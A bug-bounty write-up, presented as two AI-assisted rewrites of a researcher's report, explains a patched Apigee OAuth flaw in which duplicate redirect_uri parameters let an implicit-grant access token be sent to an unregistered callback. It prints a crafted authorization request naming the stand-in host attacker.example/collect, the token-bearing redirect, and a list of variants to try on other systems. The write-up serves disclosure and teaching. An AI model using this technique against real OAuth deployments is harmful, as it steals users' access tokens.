Skip to content
OAuth / SSO Write-up Advanced

The Callback Apigee Checked and Then Ignored

Apigee's OAuth implicit grant validated the first occurrence of a duplicate redirect_uri parameter but then used the last occurrence when building the redirect, allowing an attacker to steal access tokens. An attacker could craft an authorization request with a registered callback first and an attacker-controlled callback second, causing the token to be sent to the attacker's URL.

Nikita Markevich Follow

Published on bugs.exposed

Bounty$5,000 View original

Comment

Nikita Markevich, on bugs.exposed

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Apigee is an API gateway. A customer exposes an endpoint as an API proxy and attaches policies that run while Apigee processes the request. The OAuthV2 policy can make that proxy act as an OAuth authorization server: it can generate authorization codes and access tokens, refresh tokens, or verify a token before allowing an API call through.

In OAuth, a redirect URI is a security boundary: it names the destination an authorization server has agreed to trust with a credential. That distinction is especially sharp in the implicit grant. There is no authorization code to exchange on a protected back channel. After the user authorizes the client, the server redirects the browser to the registered callback and places the access token in the URL fragment. JavaScript at that destination can read the fragment and take the token from there. The callback check is therefore the last gate before a live bearer token leaves the authorization server.

For the implicit flow, a proxy uses the GenerateAccessTokenImplicitGrant operation. The JWT variant uses GenerateJWTAccessTokenImplicitGrant, but the browser-facing shape is the same. With response generation enabled, Apigee returns a 302 redirect whose Location points to the requested callback with the new access token in its fragment:

HTTP
HTTP/1.1 302 Found
Location: https://client.example/callback#access_token=...&expires_in=1799

The client is a developer app registered in Apigee. That record may contain a callback URL. The authorization request supplies a redirect_uri, and Apigee is supposed to compare it with the app's callback before issuing the redirect. A proxy author tells the policy where to obtain the request value through <RedirectUri>:

XML
<OAuthV2 name="Generate-Implicit-Token">
  <Operation>GenerateAccessTokenImplicitGrant</Operation>
  <RedirectUri>request.queryparam.redirect_uri</RedirectUri>
  <GenerateResponse enabled="true"/>
</OAuthV2>

Here request.queryparam.redirect_uri is a flow variable. This configuration looks ordinary: read the callback from the query string, validate it, then use it for the redirect. The interesting question is what the callback means when the query contains the parameter twice.

Setup

The research was carried out against Google Cloud Apigee, on managed runtime 1-17-0-apigee-6. The researcher used separate proxies for opaque and JWT implicit tokens. The developer app had only the legitimate callback registered, and strict callback URI validation was enabled. The issue was reported on 12 April 2026; the bounty was USD 5,000.

Finding it

While tracing Apigee's implementation of the callback gate, the researcher found the same redirect_uri taking two different paths through one request. One value passed validation. Another value later received the token.

OAuth authorization requests must not include a parameter more than once. Attackers do not have to respect that rule, though, and duplicate-parameter handling is exactly where two otherwise reasonable parsers can disagree. The researcher sent an authorization request with two callbacks: the first was registered to the test app, the second was under attacker control.

Exploitation

Step 1: send a request with two redirect_uri values

Text
/authorize
  ?response_type=token
  &client_id=CLIENT_ID
  &redirect_uri=https://registered.example/callback
  &redirect_uri=https://attacker.example/collect
  &scope=openid
  &state=STATE

The first callback is the one registered to the developer app. The second is the attacker's collection endpoint. The request asks for an implicit token (response_type=token) for the given client.

Step 2: the flow variable resolves to the first value

The policy's configured flow variable went through Apigee's HTTP message abstraction. Asking for a query parameter without an explicit position selected occurrence one:

Java
public String getQueryParam(String name) {
    return getQueryParam(name, 1);
}

public String getQueryParam(String name, int index) {
    return getRequestURI().getValue(name, index - 1);
}

The public API numbers occurrences from one, while RequestURI uses a zero-based index. Resolving request.queryparam.redirect_uri therefore produced the first callback in the request: https://registered.example/callback.

Step 3: the first value is validated and passes

That value was copied into the OAuth client context. Later, OAuthServiceImpl retrieved it and passed it to callback validation:

Java
String redirectURIInRequest = clientContext.getRedirectrURI();

// Client lookup and other checks omitted.
validateRedirectURI(
    redirectURIInRequest,
    clientAttributes,
    clientContext.isEnforceStrictCallbackURIEnforced());

This was not an absent or disabled security check. The registered URI really was compared, and it passed. If the rest of the operation had continued to use redirectURIInRequest, the duplicate parameter would not have moved the token anywhere interesting. But the request had already produced another representation of the query string.

Step 4: the response path re-parses the query and keeps the last value

Both implicit-grant implementations also passed the raw query through getParametersAsMap(). Unlike the flow-variable path, this parser did not preserve multiple values. It inserted every pair into a HashMap under the decoded parameter name:

Java
public static Map<String, String> getParametersAsMap(String parameterString) {
    Map<String, String> splitParameters = new HashMap<>();

    for (String parameter : parameterString.split("&")) {
        String[] parts = parameter.split("=", 2);
        OAuth.Parameter entry = new OAuth.Parameter(
            OAuth.decodePercent(parts[0]),
            OAuth.decodePercent(parts[1]));
        splitParameters.put(entry.getKey(), entry.getValue());
    }
    return splitParameters;
}

Map.put() replaces the previous entry when a key already exists. For the same crafted request, this path kept the last callback: https://attacker.example/collect. At that point Apigee had two values with the same name but different histories.

Step 5: the response builder uses the unvalidated value

The split only became exploitable because response generation returned to the second path. After issuing an opaque token, ImplicitGrantAccessTokenExecution called post-processing with queryParameters.get("redirect_uri") rather than the value already stored and validated in the client context:

Java
populateOauthServiceContext(clientContext, queryParameters, messageContext);
result = oAuthService.generateAccessTokenForImplicitGrant(
    oAuthServiceContext, clientContext, debugContext);

executePostOAuthProcessing(
    messageContext, executionContext, result,
    isRFCCompliant.booleanValue(), queryParameters.get("redirect_uri"));

The JWT implicit operation made the same choice. The shared response builder then added the token fields as a fragment to whichever URI it received and wrote that URI to the Location header:

Java
if (redirectURI != null) {
    String modifiedRedirectURI = URIUtil.addFragment(redirectURI, responseParams);
    responseMessage.setHeader("Location", modifiedRedirectURI);
}

Validation and use were no longer operating on the same data. Apigee had approved the first callback, generated a token, and handed the second callback to the browser.

Step 6: observe the token leaving through the other door

With the registered URI first and the attacker URI second, the opaque flow returned a redirect shaped like this:

HTTP
HTTP/1.1 302 Found
Location: https://attacker.example/collect#access_token=LIVE_TOKEN&expires_in=...

The value in the fragment was a working access token issued for the victim's authorization. The JWT operation behaved the same way, except the stolen credential was a signed JWT.

Step 7: reverse the order as a control

Reversing the two callback values made Apigee reject the request as an invalid redirect_uri. That control was the part the researcher cared about most: it showed that strict matching was active and confirmed which duplicate the policy had checked. The successful case did not weaken or bypass the comparison itself. It arranged for the response builder to stop using its result.

Root cause

What makes this bug notable is how little any one line had to do wrong. A flow variable returned the first query value. A HashMap kept the last. Callback validation worked. Token generation worked. Response construction worked. The vulnerability existed in the handoff between them, where "the redirect URI" quietly stopped meaning the value that had passed the security check.

The two parsers disagree on duplicate parameters: the flow-variable path is positional and selects occurrence one, while getParametersAsMap() collapses duplicates in a HashMap and keeps the last. Validation consumed the first representation; response generation consumed the second. Strict callback URI validation was enabled and did its job on the value it was given, so the existing defence was not bypassed, it was simply applied to a value that the response path never used.

Impact

An attacker could cause a live access token, opaque or signed JWT, to be delivered to an origin that was never registered for the developer app, after the authorization server had validated a different callback. The token carried only the scopes and authority the authorization server actually granted.

Several conditions were required: a deployment using one of the affected implicit operations, automatic response generation, and a <RedirectUri> sourced from a request query variable like the one above. A victim also had to open the crafted authorization request and complete the deployment's normal login or consent flow, unless an existing session made that interaction silent.

Those conditions matter, but they do not turn this into the familiar warning that implicit tokens appear in browsers. The browser was expected to receive the token. The unregistered origin was not. Modern OAuth guidance discourages the implicit grant, which makes it tempting to wave away any finding near it; the known tradeoff is that a browser receives a bearer token, whereas sending that token to an arbitrary origin after validating a different one is a separate failure.

Fix

The report lists the issue as patched and does not describe the specific code change.

Variants to test

Whenever a system validates a URI, identity, filename, or token and later rebuilds it from raw input, look for this exact split. A check does not protect a field name; it protects one concrete value, parsed one particular way. If that value does not travel forward, neither does the trust attached to it.

Concrete things to try:

  1. Send any security-relevant parameter twice (callback, audience, scope, tenant, filename) and compare which occurrence the validator sees with which occurrence the sink uses. A positive result is a validator that accepts occurrence one while the response, redirect or stored object reflects occurrence two.
  2. Reverse the duplicate order as a control. If the request is rejected, strict matching is active and you have confirmed which duplicate the check consumed; if both orders succeed, the check is weaker than it looks.
  3. Look for a flow-variable read (positional, first value) feeding a validation step, and a separate raw-query parse (map or dictionary, last value) feeding the response builder. A positive result is a 302 whose Location points at the unvalidated value.
  4. Test both the opaque and JWT implicit operations where both exist, since they may share the same response builder. A positive result is the same redirect shape with a signed JWT in the fragment.
  5. Try the same duplicate-parameter trick on other gateway policies that read a request value, validate it, and then re-read it from the raw request later. A positive result is any credential or redirect that lands on a destination the validator never approved.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Imagine you run a members-only club. You give a guest a wristband that proves they are allowed in. The guest is supposed to pick it up at the front desk, and only at the front desk. One day, someone fills in the pickup form with two different pickup locations: the front desk first, then a back alley. The person checking the form reads the first location, approves it, and writes down that the wristband can be collected at the front desk. But the person who actually hands out the wristband reads the form differently and looks at the last location, so the wristband goes to the back alley. The check was real, the approval was real, but the thing that was checked was not the thing that was used.

That is the shape of the bug in this report. Google Cloud Apigee, a product that companies use to put a controlled front door on their APIs, can act as an OAuth authorization server. In one of its flows, called the implicit grant, it hands a browser an access token by redirecting the browser to a callback URL. Apigee is supposed to check that the callback URL in the request matches one that the application registered in advance. The researcher found that when the request contained the callback parameter twice, Apigee checked the first value but then sent the token to the second value. The second value could belong to an attacker. The result was that a live access token could be delivered to an origin that was never registered, even though strict callback validation was switched on.

The issue was reported on 12 April 2026, tested on managed runtime 1-17-0-apigee-6, and patched. The issue was reported on 12 April 2026 and tested on managed runtime 1-17-0-apigee-6. The bounty was USD 5,000. The report does not describe the specific code change that fixed it.

Background: the pieces you need

Before walking through the attack, here are the ideas it relies on, explained from scratch.

API and API gateway

An API (application programming interface) is a way for one piece of software to ask another piece of software to do something. When a weather app on your phone shows tomorrow's forecast, it is probably asking a weather company's API for the data. The app sends a request, the API sends back an answer.

An API gateway is a server that sits in front of many APIs and handles the shared jobs: checking who is calling, applying rules, and passing the request on to the right place. Apigee is an API gateway. A customer exposes an endpoint as an API proxy and attaches policies, which are rules that run while Apigee processes the request. One of those policies is called OAuthV2.

OAuth and the authorization server

OAuth is a standard way for a user to let one application act on their behalf at another service without giving that application their password. You have seen it as the "Sign in with Google" or "Continue with GitHub" button. The service that holds your account and decides whether to hand out access is called the authorization server. In this report, Apigee, configured with the OAuthV2 policy, is playing that role.

Access token

An access token is a short string that proves the bearer is allowed to do something. Think of a paper ticket at a concert: whoever holds the ticket gets in, no name check. That is why it is called a bearer token: possession is enough. If someone else gets your token, they can use it as you, within the limits (the scopes) that were granted. A JWT (JSON Web Token) is a particular kind of token that is digitally signed, so the receiver can check that the authorization server really issued it.

Redirect URI and callback

A redirect URI (also called a callback URL) is the address the authorization server sends the browser back to after the user approves. It is a security boundary because the authorization server is about to send a credential there. If an attacker can make that address point at their own site, the credential goes to the attacker.

Implicit grant

In the implicit grant, there is no second step on a protected back channel. After the user authorizes the client, the server redirects the browser straight to the registered callback and puts the access token in the URL fragment. The fragment is the part of a URL after the # sign. Browsers do not send the fragment to the server, but JavaScript running on the page can read it. So the callback check is the last gate before a live token leaves the authorization server.

Developer app

The client in this flow is a developer app registered in Apigee. That record may contain a callback URL. The authorization request supplies a redirect_uri, and Apigee is supposed to compare it with the app's registered callback before issuing the redirect.

Flow variable

A flow variable is a named value that Apigee makes available to policies while it processes a request. The proxy author tells the policy where to get the callback from by naming a flow variable in the policy configuration. In this report the variable is request.queryparam.redirect_uri, which means "the redirect_uri parameter from the query string of the request".

The policy configuration

Here is the OAuthV2 policy configuration used for the implicit flow:

XML
<OAuthV2 name="Generate-Implicit-Token">
  <Operation>GenerateAccessTokenImplicitGrant</Operation>
  <RedirectUri>request.queryparam.redirect_uri</RedirectUri>
  <GenerateResponse enabled="true"/>
</OAuthV2>

Line by line:

  • <OAuthV2 name="Generate-Implicit-Token"> opens the policy and gives it a name. The name is just a label for the proxy author.
  • <Operation>GenerateAccessTokenImplicitGrant</Operation> says which OAuth operation this policy performs: generate an access token for the implicit grant. There is also a JWT variant, GenerateJWTAccessTokenImplicitGrant, but the browser-facing shape is the same.
  • <RedirectUri>request.queryparam.redirect_uri</RedirectUri> tells the policy where to read the callback from: the redirect_uri query parameter of the incoming request.
  • <GenerateResponse enabled="true"/> switches on automatic response generation, so Apigee itself builds the redirect response.
  • </OAuthV2> closes the policy.

This configuration looks ordinary: read the callback from the query string, validate it, then use it for the redirect. The interesting question is what the callback means when the query contains the parameter twice.

What a normal response looks like

With response generation enabled, Apigee returns a 302 redirect whose Location header points to the requested callback with the new access token in its fragment:

HTTP
HTTP/1.1 302 Found
Location: https://client.example/callback#access_token=...&expires_in=1799

Line by line:

  • HTTP/1.1 302 Found is the status line. 302 is the HTTP status code for a redirect: the browser is being told to go somewhere else.
  • Location: https://client.example/callback#access_token=...&expires_in=1799 is the header that says where to go. The part before # is the callback address. The part after # is the fragment, which here contains access_token=... and expires_in=1799. The ... stands for the actual token value. expires_in=1799 means the token is valid for 1799 seconds.

The setup

The research was carried out against Google Cloud Apigee on managed runtime 1-17-0-apigee-6. The researcher used separate proxies for opaque and JWT implicit tokens. An opaque token is one whose contents are not readable by the client; the authorization server keeps the meaning on its side. A JWT is readable and signed. The developer app had only the legitimate callback registered, and strict callback URI validation was enabled. That last point matters: the security check was switched on, not off.

Finding it

While tracing Apigee's implementation of the callback gate, the researcher found the same redirect_uri taking two different paths through one request. One value passed validation. Another value later received the token.

OAuth authorization requests must not include a parameter more than once. That is a rule in the OAuth specification. Attackers do not have to respect rules, though, and duplicate-parameter handling is exactly where two otherwise reasonable parsers can disagree. A parser is a piece of code that reads raw text and turns it into structured data. If two parsers read the same text and disagree about which duplicate wins, a security check on one parser's result does not protect the other parser's result.

The researcher sent an authorization request with two callbacks: the first was registered to the test app, the second was under attacker control.

Exploitation, step by step

Step 1: send a request with two redirect_uri values

Text
/authorize
  ?response_type=token
  &client_id=CLIENT_ID
  &redirect_uri=https://registered.example/callback
  &redirect_uri=https://attacker.example/collect
  &scope=openid
  &state=STATE

Line by line:

  • /authorize is the path of the authorization endpoint on the Apigee proxy.
  • ?response_type=token starts the query string and asks for an implicit token. In OAuth, response_type=token means "give me an access token directly".
  • &client_id=CLIENT_ID identifies which registered developer app is making the request. CLIENT_ID is a placeholder for the real identifier.
  • &redirect_uri=https://registered.example/callback is the first callback. This is the one registered to the developer app.
  • &redirect_uri=https://attacker.example/collect is the second callback. This is under the attacker's control.
  • &scope=openid asks for the openid scope.
  • &state=STATE passes a state value. STATE is a placeholder.

The first callback is the one registered to the developer app. The second is the attacker's collection endpoint. The request asks for an implicit token for the given client. The reason to send the parameter twice is to see whether the part of Apigee that checks the callback and the part that builds the redirect read the same occurrence.

Step 2: the flow variable resolves to the first value

The policy's configured flow variable went through Apigee's HTTP message abstraction. Asking for a query parameter without an explicit position selected occurrence one:

Java
public String getQueryParam(String name) {
    return getQueryParam(name, 1);
}

public String getQueryParam(String name, int index) {
    return getRequestURI().getValue(name, index - 1);
}

Line by line:

  • public String getQueryParam(String name) { starts a method that takes a parameter name and returns its value as text.
  • return getQueryParam(name, 1); calls the second method with position 1. So when no position is given, the code asks for the first occurrence.
  • } closes the first method.
  • public String getQueryParam(String name, int index) { starts the method that takes an explicit position.
  • return getRequestURI().getValue(name, index - 1); asks the underlying request URI object for the value at index - 1. The public API numbers occurrences from one, while RequestURI uses a zero-based index. So position 1 becomes internal index 0, which is the first value.
  • } closes the second method.

Resolving request.queryparam.redirect_uri therefore produced the first callback in the request: https://registered.example/callback. This is the value that will be checked.

Step 3: the first value is validated and passes

That value was copied into the OAuth client context. The client context is a temporary store of information about the current OAuth request. Later, OAuthServiceImpl retrieved it and passed it to callback validation:

Java
String redirectURIInRequest = clientContext.getRedirectrURI();

// Client lookup and other checks omitted.
validateRedirectURI(
    redirectURIInRequest,
    clientAttributes,
    clientContext.isEnforceStrictCallbackURIEnforced());

Line by line:

  • String redirectURIInRequest = clientContext.getRedirectrURI(); reads the callback value that was stored earlier in the client context. The method name in the report is getRedirectrURI.
  • // Client lookup and other checks omitted. is a comment saying that other steps happened here but are not shown.
  • validateRedirectURI( starts the validation call.
  • redirectURIInRequest, is the value being checked: the first callback.
  • clientAttributes, holds the registered attributes of the client, including the registered callback.
  • clientContext.isEnforceStrictCallbackURIEnforced()); asks whether strict callback URI validation is switched on, and passes that answer into the check.

This was not an absent or disabled security check. The registered URI really was compared, and it passed. If the rest of the operation had continued to use redirectURIInRequest, the duplicate parameter would not have moved the token anywhere interesting. But the request had already produced another representation of the query string.

Step 4: the response path re-parses the query and keeps the last value

Both implicit-grant implementations also passed the raw query through getParametersAsMap(). Unlike the flow-variable path, this parser did not preserve multiple values. It inserted every pair into a HashMap under the decoded parameter name:

Java
public static Map<String, String> getParametersAsMap(String parameterString) {
    Map<String, String> splitParameters = new HashMap<>();

    for (String parameter : parameterString.split("&")) {
        String[] parts = parameter.split("=", 2);
        OAuth.Parameter entry = new OAuth.Parameter(
            OAuth.decodePercent(parts[0]),
            OAuth.decodePercent(parts[1]));
        splitParameters.put(entry.getKey(), entry.getValue());
    }
    return splitParameters;
}

Line by line:

  • public static Map<String, String> getParametersAsMap(String parameterString) { starts a method that takes the raw query string and returns a map from parameter names to values.
  • Map<String, String> splitParameters = new HashMap<>(); creates an empty HashMap. A HashMap is a dictionary: it stores one value per key. If you put a second value under the same key, it replaces the first.
  • for (String parameter : parameterString.split("&")) { splits the query string on &, so each piece is one name=value pair, and loops over them.
  • String[] parts = parameter.split("=", 2); splits each pair on the first = into a name and a value. The 2 means at most two pieces, so an = inside the value does not break it.
  • OAuth.Parameter entry = new OAuth.Parameter( starts building a parameter object.
  • OAuth.decodePercent(parts[0]), decodes the name, turning percent-encoded characters back into normal ones.
  • OAuth.decodePercent(parts[1])); decodes the value.
  • splitParameters.put(entry.getKey(), entry.getValue()); stores the pair in the map. Because Map.put() replaces the previous entry when a key already exists, the last occurrence wins.
  • } closes the loop.
  • return splitParameters; returns the map.
  • } closes the method.

For the same crafted request, this path kept the last callback: https://attacker.example/collect. At that point Apigee had two values with the same name but different histories: one had been checked, the other had not.

Step 5: the response builder uses the unvalidated value

The split only became exploitable because response generation returned to the second path. After issuing an opaque token, ImplicitGrantAccessTokenExecution called post-processing with queryParameters.get("redirect_uri") rather than the value already stored and validated in the client context:

Java
populateOauthServiceContext(clientContext, queryParameters, messageContext);
result = oAuthService.generateAccessTokenForImplicitGrant(
    oAuthServiceContext, clientContext, debugContext);

executePostOAuthProcessing(
    messageContext, executionContext, result,
    isRFCCompliant.booleanValue(), queryParameters.get("redirect_uri"));

Line by line:

  • populateOauthServiceContext(clientContext, queryParameters, messageContext); fills the OAuth service context using the parsed query parameters.
  • result = oAuthService.generateAccessTokenForImplicitGrant( starts generating the token for the implicit grant and stores the result.
  • oAuthServiceContext, clientContext, debugContext); passes the contexts needed for generation.
  • executePostOAuthProcessing( starts the post-processing step that builds the response.
  • messageContext, executionContext, result, passes the message context, execution context and the token result.
  • isRFCCompliant.booleanValue(), queryParameters.get("redirect_uri")); passes a flag and, crucially, the callback taken from queryParameters. That map came from getParametersAsMap(), so it holds the last occurrence: the attacker's callback.

The JWT implicit operation made the same choice. The shared response builder then added the token fields as a fragment to whichever URI it received and wrote that URI to the Location header:

Java
if (redirectURI != null) {
    String modifiedRedirectURI = URIUtil.addFragment(redirectURI, responseParams);
    responseMessage.setHeader("Location", modifiedRedirectURI);
}

Line by line:

  • if (redirectURI != null) { checks that a callback was supplied.
  • String modifiedRedirectURI = URIUtil.addFragment(redirectURI, responseParams); takes the callback and adds the token fields as a fragment. responseParams holds the token and related values.
  • responseMessage.setHeader("Location", modifiedRedirectURI); writes the resulting URI into the Location header of the response.
  • } closes the check.

Validation and use were no longer operating on the same data. Apigee had approved the first callback, generated a token, and handed the second callback to the browser.

Step 6: observe the token leaving through the other door

With the registered URI first and the attacker URI second, the opaque flow returned a redirect shaped like this:

HTTP
HTTP/1.1 302 Found
Location: https://attacker.example/collect#access_token=LIVE_TOKEN&expires_in=...

Line by line:

  • HTTP/1.1 302 Found is the redirect status line.
  • Location: https://attacker.example/collect#access_token=LIVE_TOKEN&expires_in=... is the redirect target. The address before # is the attacker's collection endpoint, not the registered callback. The fragment after # contains access_token=LIVE_TOKEN, a working access token issued for the victim's authorization, and expires_in=..., the lifetime of the token.

The value in the fragment was a working access token issued for the victim's authorization. The JWT operation behaved the same way, except the stolen credential was a signed JWT.

Step 7: reverse the order as a control

Reversing the two callback values made Apigee reject the request as an invalid redirect_uri. That control was the part the researcher cared about most: it showed that strict matching was active and confirmed which duplicate the policy had checked. The successful case did not weaken or bypass the comparison itself. It arranged for the response builder to stop using its result.

Root cause

What makes this bug notable is how little any one line had to do wrong. A flow variable returned the first query value. A HashMap kept the last. Callback validation worked. Token generation worked. Response construction worked. The vulnerability existed in the handoff between them, where "the redirect URI" quietly stopped meaning the value that had passed the security check.

The two parsers disagree on duplicate parameters: the flow-variable path is positional and selects occurrence one, while getParametersAsMap() collapses duplicates in a HashMap and keeps the last. Validation consumed the first representation; response generation consumed the second. Strict callback URI validation was enabled and did its job on the value it was given, so the existing defence was not bypassed, it was simply applied to a value that the response path never used.

Impact

An attacker could cause a live access token, opaque or signed JWT, to be delivered to an origin that was never registered for the developer app, after the authorization server had validated a different callback. The token carried only the scopes and authority the authorization server actually granted.

Several conditions were required: a deployment using one of the affected implicit operations, automatic response generation, and a <RedirectUri> sourced from a request query variable like the one above. A victim also had to open the crafted authorization request and complete the deployment's normal login or consent flow, unless an existing session made that interaction silent.

Those conditions matter, but they do not turn this into the familiar warning that implicit tokens appear in browsers. The browser was expected to receive the token. The unregistered origin was not. Modern OAuth guidance discourages the implicit grant, which makes it tempting to wave away any finding near it; the known tradeoff is that a browser receives a bearer token, whereas sending that token to an arbitrary origin after validating a different one is a separate failure.

Fix

The report lists the issue as patched and does not describe the specific code change.

Variants to test

Whenever a system validates a URI, identity, filename, or token and later rebuilds it from raw input, look for this exact split. A check does not protect a field name; it protects one concrete value, parsed one particular way. If that value does not travel forward, neither does the trust attached to it.

Concrete things to try:

  1. Send any security-relevant parameter twice (callback, audience, scope, tenant, filename) and compare which occurrence the validator sees with which occurrence the sink uses. A positive result is a validator that accepts occurrence one while the response, redirect or stored object reflects occurrence two.
  2. Reverse the duplicate order as a control. If the request is rejected, strict matching is active and you have confirmed which duplicate the check consumed; if both orders succeed, the check is weaker than it looks.
  3. Look for a flow-variable read (positional, first value) feeding a validation step, and a separate raw-query parse (map or dictionary, last value) feeding the response builder. A positive result is a 302 whose Location points at the unvalidated value.
  4. Test both the opaque and JWT implicit operations where both exist, since they may share the same response builder. A positive result is the same redirect shape with a signed JWT in the fragment.
  5. Try the same duplicate-parameter trick on other gateway policies that read a request value, validate it, and then re-read it from the raw request later. A positive result is any credential or redirect that lands on a destination the validator never approved.

Glossary

  • API: a way for one piece of software to ask another piece of software to do something.
  • API gateway: a server that sits in front of many APIs and handles shared jobs such as checking who is calling and applying rules.
  • API proxy: an endpoint exposed through Apigee that represents a customer's API.
  • Policy: a rule attached to an API proxy that runs while Apigee processes a request.
  • OAuth: a standard way for a user to let one application act on their behalf at another service without giving that application their password.
  • Authorization server: the service that holds the user's account and decides whether to hand out access.
  • Access token: a short string that proves the bearer is allowed to do something.
  • Bearer token: a token where possession is enough to use it.
  • Scope: the limit on what a token is allowed to do.
  • JWT (JSON Web Token): a token that is digitally signed so the receiver can check who issued it.
  • Opaque token: a token whose contents are not readable by the client; the authorization server keeps the meaning on its side.
  • Redirect URI / callback URL: the address the authorization server sends the browser back to after the user approves.
  • Implicit grant: an OAuth flow where the access token is returned directly in the URL fragment after the user authorizes the client.
  • Fragment: the part of a URL after the # sign; browsers do not send it to the server, but JavaScript on the page can read it.
  • Developer app: the client registered in Apigee, which may have a registered callback URL.
  • Flow variable: a named value that Apigee makes available to policies while it processes a request.
  • Query string: the part of a URL after ?, made of name=value pairs separated by &.
  • Parser: a piece of code that reads raw text and turns it into structured data.
  • HashMap: a dictionary data structure that stores one value per key; putting a second value under the same key replaces the first.
  • Client context: a temporary store of information about the current OAuth request.
  • 302: the HTTP status code for a redirect.
  • Location header: the HTTP header that tells the browser where to go in a redirect.
  • Strict callback URI validation: a check that the callback in the request exactly matches the one registered for the app.
  • Control: a test where you change one thing to confirm what the system is doing.
  • Sink: the place in the code where a value is finally used, such as the response builder that writes the Location header.

More by Nikita Markevich

View all

11 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.